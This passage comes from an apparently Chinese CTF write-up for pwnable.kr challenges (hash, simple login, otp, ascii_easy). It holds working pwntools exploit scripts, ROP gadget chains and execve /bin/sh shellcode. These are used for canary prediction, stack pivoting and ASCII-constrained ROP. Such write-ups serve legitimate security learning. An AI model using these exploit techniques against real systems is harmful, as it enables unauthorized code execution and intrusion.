<span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">7</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v2</span><span class="p">[</span><span class="mi">4</span> <span class="o">*</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
<span class="k">return</span> <span class="n">v6</span> <span class="o">-</span> <span class="n">v8</span> <span class="o">+</span> <span class="n">v9</span> <span class="o">+</span> <span class="n">v10</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">v5</span> <span class="o">+</span> <span class="n">v3</span> <span class="o">+</span> <span class="n">v7</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">rand</code>的种子是<code class="language-plaintext highlighter-rouge">time(NULL)</code>,那么就不具备随机性了,在程序运行的时可以预测到生成的随机数序列:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdlib.h>
#include <stdio.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">,</span> <span class="n">now</span><span class="p">;</span>
<span class="n">scanf</span><span class="p">(</span><span class="s">"%u"</span><span class="p">,</span> <span class="o">&</span><span class="n">now</span><span class="p">);</span>
<span class="n">srand</span><span class="p">(</span><span class="n">now</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%d,"</span><span class="p">,</span> <span class="n">rand</span><span class="p">());</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>有了Canary后溢出构造参数<code class="language-plaintext highlighter-rouge">ret2system@plt</code>即可,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">ctypes</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="k">print</span> <span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span>
<span class="c1">#p = process('./hash')
</span><span class="n">now</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span><span class="o">+</span><span class="mi">1</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9002</span><span class="p">)</span>
<span class="k">print</span> <span class="n">now</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'/tmp/get_time'</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">now</span><span class="p">))</span>
<span class="n">v</span> <span class="o">=</span> <span class="n">t</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">)</span>
<span class="n">v</span> <span class="o">=</span> <span class="p">[</span><span class="s">'0'</span><span class="p">,</span> <span class="s">'0'</span><span class="p">]</span> <span class="o">+</span> <span class="n">v</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">v</span><span class="p">)):</span>
<span class="n">v</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">v</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="n">t</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">captcha</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">)[</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">captcha</span><span class="p">)</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">captcha</span><span class="p">)</span><span class="o">-</span><span class="n">v</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span><span class="o">+</span><span class="n">v</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="o">-</span><span class="n">v</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span><span class="o">-</span><span class="n">v</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">+</span><span class="n">v</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span><span class="o">-</span><span class="n">v</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">-</span><span class="n">v</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span>
<span class="n">canary</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint</span><span class="p">(</span><span class="n">canary</span><span class="p">).</span><span class="n">value</span>
<span class="k">print</span> <span class="n">canary</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="c1">#gdb.attach(p)
</span><span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'A'</span><span class="o">*</span><span class="mh">0x200</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'B'</span><span class="o">*</span><span class="mh">0xc</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08048880</span><span class="p">)</span> <span class="c1"># system plt
</span><span class="n">payload</span> <span class="o">+=</span> <span class="s">'C'</span><span class="o">*</span><span class="mi">4</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0804B3E0</span><span class="p">)</span> <span class="c1"># g_buf
</span><span class="n">payload</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="o">*</span><span class="p">(</span><span class="mh">0x300</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'/bin//sh'</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>simple login</h2>
<p>这道题目比较简单,在<code class="language-plaintext highlighter-rouge">auth</code>函数中存在溢出可覆盖前一函数<code class="language-plaintext highlighter-rouge">main</code>的ebp:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_BOOL4</span> <span class="kr">__cdecl</span> <span class="nf">auth</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [esp+14h] [ebp-14h]</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">s2</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-Ch]</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+20h] [ebp-8h]</span>
<span class="n">memcpy</span><span class="p">(</span><span class="o">&</span><span class="n">v4</span><span class="p">,</span> <span class="o">&</span><span class="n">input</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span>
<span class="n">s2</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">calc_md5</span><span class="p">(</span><span class="o">&</span><span class="n">v2</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"hash : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">s2</span><span class="p">);</span>
<span class="k">return</span> <span class="n">strcmp</span><span class="p">(</span><span class="s">"f87cd601aa7fedca99018a8be88eda34"</span><span class="p">,</span> <span class="n">s2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>程序中提供了shell函数,根据<code class="language-plaintext highlighter-rouge">leave; retn</code>做栈迁移至input全局变量的地址即可,利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08049284</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0811EB40</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b64encode</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwnable.kr'</span><span class="p">,</span> <span class="mi">9003</span><span class="p">)</span>
<span class="c1">#p = process('./login')
</span><span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Authenticate : '</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2>otp</h2>
<p>这道one time password题目,从源码从汇编从调试来看感觉都没问题,这道题目不是有点脑洞就是有些触及到我的知识盲点了。根据提示可知使用<a href="https://www.runoob.com/linux/linux-comm-ulimit.html">ulimit</a>限制生成password文件的大小为0,这样文件中保存的随机数就不起效了,自然可以通过验证。直接引用[师傅]的WP,只能说学习了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python
Python 2.7.12 (default, Aug 22 2019, 16:36:40)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('ls')
- otp otp.c
0
>>> os.system('./otp 0')
OTP generated.
Congratz!
/bin/cat: flag: No such file or directory
0
>>>
</code></pre></div></div>
<h2>ascii_easy</h2>
<p>此题目通过源码可知道,其映射libc-2.15.so至基址0x5555e000,就是为了让我们用其中纯ascii的gadget构造ROP链,完成代码执行的操作。调试注意到<code class="language-plaintext highlighter-rouge">0x5555e000-0x55702000</code>的libc-2.15.so是具有可读可写可执行权限的。</p>
<p>思路有三,第一是简单用ROPgadget看看能不能帮我们构造ROP链:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ROPgadget --offset 0x5555e000 --badbytes "00-1f|80-ff" --ropchain --binary libc-2.15.so > g.txt
$ tail -n 30 g.txt
0x556a6f2c : xor esi, esi ; ret 0xf01
Unique gadgets found: 5193
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x55687b3c mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'
[+] Gadget found: 0x55635738 mov dword ptr [edx], ecx ; pop ebx ; ret
[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'
[+] Gadget found: 0x5560645c mov dword ptr [edx], eax ; ret
[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'
[+] Gadget found: 0x555e5621 mov dword ptr [ecx], edx ; pop ebx ; ret
[-] Can't find the 'pop ecx' gadget. Try with another 'mov [reg], reg'
[+] Gadget found: 0x555d6225 mov dword ptr [eax], edx ; ret
[+] Gadget found: 0x5557506b pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'
[+] Gadget found: 0x55584a58 mov dword ptr [eax], edx ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x5557506b pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'
[-] Can't find the 'mov dword ptr [r32], r32' gadget
</code></pre></div></div>
<p>因为没有<code class="language-plaintext highlighter-rouge">pop edx</code>而无法使用write4的gadget,看看能不能使用one_gadget跳转一次执行shell:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ one_gadget libc-2.15.so
0x3ed77 execve("/bin/sh", esp+0x148, environ)
constraints:
ebx is the GOT address of libc
[esp+0x148] == NULL
0x6667f execl("/bin/sh", "sh", [esp+0x8])
constraints:
ebx is the GOT address of libc
[esp+0x8] == NULL
0x66685 execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x66689 execl("/bin/sh", [esp+0x4])
constraints:
ebx is the GOT address of libc
[esp+0x4] == NULL
</code></pre></div></div>
<p>还是需要是ebx指向GOT的地址,IDA中可知具体为<code class="language-plaintext highlighter-rouge">0x55700FF4</code>。还是可以找到一些gadget来使用<code class="language-plaintext highlighter-rouge">eax</code>寄存器和<code class="language-plaintext highlighter-rouge">xchg</code>操作构造合适的ebx值并跳转至one_gadget地址<code class="language-plaintext highlighter-rouge">0x555c4685</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">gdb_init</span> <span class="o">=</span> <span class="s">'''
b *0x08048532
c
'''</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'A'</span><span class="o">*</span><span class="mh">0x20</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x55615d44</span><span class="p">)</span> <span class="c1"># 0x55615d44 : pop eax ; cmp eax, 0xfffff001 ; jae 0xb7d55 ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x55706d36</span><span class="p">)</span> <span class="c1"># 0x55706d36 : eax
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x556d2860</span><span class="p">)</span> <span class="c1"># 0x556d2860 : add ah, al ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x556d2860</span><span class="p">)</span> <span class="c1"># 0x556d2860 : add ah, al ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x556d2860</span><span class="p">)</span> <span class="c1"># 0x556d2860 : add ah, al ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># 0x555e7a4c : add al, 0x5f ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># 0x555e7a4c : add al, 0x5f ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x556f6061</span><span class="p">)</span> <span class="c1"># 0x556f6061 : xchg eax, edi ; or cl, byte ptr [esi] ; adc al, 0x43 ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x55623b42</span><span class="p">)</span> <span class="c1"># 0x55623b42 : xchg ebx, edi ; neg eax ; pop edi ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x20202020</span><span class="p">)</span> <span class="c1"># 0x20202020 : edi
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x55615d44</span><span class="p">)</span> <span class="c1"># 0x55615d44 : pop eax ; cmp eax, 0xfffff001 ; jae 0xb7d55 ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555c4685</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># 0x555c4685 - 8
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555f6430</span><span class="p">)</span> <span class="c1"># 0x555f6430 : add eax, 8 ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x556f6061</span><span class="p">)</span> <span class="c1"># 0x556f6061 : xchg eax, edi ; or cl, byte ptr [esi] ; adc al, 0x43 ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555b3670</span><span class="p">)</span> <span class="c1"># 0x555b3670 : xor eax, eax ; add esp, 0xc ; ret
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x20202020</span><span class="p">)</span> <span class="o">*</span> <span class="mi">3</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x556e2541</span><span class="p">)</span> <span class="c1"># 0x556e2541 : push ecx ; call edi
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x20202020</span><span class="p">)</span> <span class="c1"># 0x20202020 : ecx
</span><span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="s">'./ascii_easy'</span><span class="p">,</span> <span class="n">payload</span><span class="p">],</span> <span class="n">gdb_init</span><span class="p">)</span>
<span class="c1">#p = process(['./ascii_easy', payload])
</span><span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>但是在运行过程中触发了异常:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>─────────────────────────────────────────────────────────────── code:x86:32 ────
0x55616a0f jmp 0x5561697c
0x55616a14 mov eax, DWORD PTR [ebx-0xd4]
0x55616a1a mov ecx, DWORD PTR [esp+0x1040]
→ 0x55616a21 mov eax, DWORD PTR [eax]
0x55616a23 mov DWORD PTR [esp], ecx
0x55616a26 mov DWORD PTR [esp+0x8], eax
0x55616a2a lea eax, [esp+0x20]
0x55616a2e mov DWORD PTR [esp+0x4], eax
0x55616a32 call 0x556165e0
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ascii_easy", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55616a21 → mov eax, DWORD PTR [eax]
────────────────────────────────────────────────────────────────────────────────
gef➤ x/1xw 0x55700F20
0x55700f20: 0x7361682e
gef➤ x/s 0x55700F20
0x55700f20: ".hash"
gef➤ p $eax
$1 = 0x7361682e
</code></pre></div></div>
<p>在IDA看到功亏一篑就在<code class="language-plaintext highlighter-rouge">execve</code>之前,<code class="language-plaintext highlighter-rouge">environ_ptr_0</code>的地址为<code class="language-plaintext highlighter-rouge">0x55700F20</code>,保存的值为<code class="language-plaintext highlighter-rouge">0x55702e04</code>,和在程序内存中有的值不一样,就算是有该bss段的地址也没有被映射到内存中:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:55616A14
.text:55616A14 loc_55616A14:
.text:55616A14 mov eax, ds:(environ_ptr_0 - 55700FF4h)[ebx]
.text:55616A1A mov ecx, [esp+103Ch+arg_0]
.text:55616A21 mov eax, [eax]
.text:55616A23 mov [esp+103Ch+ptr], ecx
.text:55616A26 mov [esp+103Ch+var_1034], eax
.text:55616A2A lea eax, [esp+103Ch+var_101C]
.text:55616A2E mov [esp+103Ch+size], eax
.text:55616A32 call execve
.text:55616A37 mov esi, eax
.text:55616A39 jmp loc_5561697C
.text:55616A39 ; } // starts at 556168E0
.text:55616A39 execl endp
.text:5561
</code></pre></div></div>
<p>最后一个想法只能是构造ROP链写入shellcode最终再跳转执行了。看到有<a href="https://blog.csdn.net/charlie_heng/article/details/79316683">前辈</a>是写入一个字符构造<code class="language-plaintext highlighter-rouge">int 0x80</code>,然后再<code class="language-plaintext highlighter-rouge">read</code>获取shellcode。其实细心点可以找到类似于write1、write2的gadget来一次性写入所有shellcode:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 0x555f3124 : add byte ptr [edi], cl ; mov ebp, 0x5ff801c0 ; ret
# 0x555e3773 : mov word ptr [edx], ax ; mov eax, edx ; ret
</code></pre></div></div>
<p>如上的edx控制为想写入的地址,al进行一番加减构造为对应shellcode字符即可。执行shellcode前还需将edx至为0(execve的第3个参数),否则会报<code class="language-plaintext highlighter-rouge">0xfffffff2 bad address</code>的<a href="http://c0de3.me/blog/2015-11-17/src.html">错误</a>。最终利用脚本如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">gdb_init</span> <span class="o">=</span> <span class="s">'''
b *0x08048532
c
'''</span>
<span class="c1"># 0x7f > c - 0x5f - 0x5f > 0x20
# 0x7f + 0xbe > c > 0x5f + 0x7f
</span>
<span class="k">def</span> <span class="nf">write_one</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="n">w</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555f3555</span><span class="p">)</span> <span class="c1"># pop edx ; xor eax, eax ; pop edi ; ret
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="c1"># edx
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x20202020</span><span class="p">)</span> <span class="c1"># edi
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x55615d44</span><span class="p">)</span> <span class="c1"># pop eax ; cmp eax, 0xfffff001 ; jae 0xb7d55 ; ret
</span> <span class="k">if</span> <span class="mh">0x20</span> <span class="o"><=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o"><=</span><span class="mh">0x7f</span><span class="p">:</span>
<span class="n">w</span> <span class="o">+=</span> <span class="n">c</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x20\x20\x20</span><span class="s">'</span> <span class="c1"># eax
</span> <span class="k">elif</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o"><</span> <span class="mh">0x20</span><span class="p">:</span>
<span class="n">t</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="o">+</span><span class="mh">0x100</span><span class="o">-</span><span class="mh">0x5f</span><span class="o">-</span><span class="mh">0x5f</span><span class="p">)</span>
<span class="n">w</span> <span class="o">+=</span> <span class="n">t</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x20\x20\x20</span><span class="s">'</span> <span class="c1"># eax
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># add al, 0x5f ; ret
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># add al, 0x5f ; ret
</span> <span class="k">elif</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">></span> <span class="mh">0x7f</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="o">-</span><span class="mh">0x5f</span> <span class="o"><=</span> <span class="mh">0x7f</span><span class="p">:</span>
<span class="n">t</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="o">-</span><span class="mh">0x5f</span><span class="p">)</span>
<span class="n">w</span> <span class="o">+=</span> <span class="n">t</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x20\x20\x20</span><span class="s">'</span> <span class="c1"># eax
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># add al, 0x5f ; ret
</span> <span class="k">else</span><span class="p">:</span>
<span class="n">t</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="o">-</span><span class="mh">0x5f</span><span class="o">-</span><span class="mh">0x5f</span><span class="p">)</span>
<span class="n">w</span> <span class="o">+=</span> <span class="n">t</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x20\x20\x20</span><span class="s">'</span> <span class="c1"># eax
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># add al, 0x5f ; ret
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e7a4c</span><span class="p">)</span> <span class="c1"># add al, 0x5f ; ret
</span> <span class="n">w</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x555e3773</span><span class="p">)</span> <span class="c1"># mov word ptr [edx], ax ; mov eax, edx ; ret
</span> <span class="k">return</span> <span class="n">w</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x31\xd2</span><span class="s">'</span> <span class="c1"># xor edx, edx
</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69</span><span class="s">'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80</span><span class="s">'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">'A'</span><span class="o">*</span><span class="mh">0x20</span>
<span class="n">start_addr</span> <span class="o">=</span> <span class="mh">0x55606055</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)):</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">write_one</span><span class="p">(</span><span class="n">start_addr</span><span class="o">+</span><span class="n">i</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">start_addr</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">'./ascii_easy'</span><span class="p">,</span> <span class="n">payload</span><span class="p">])</span>
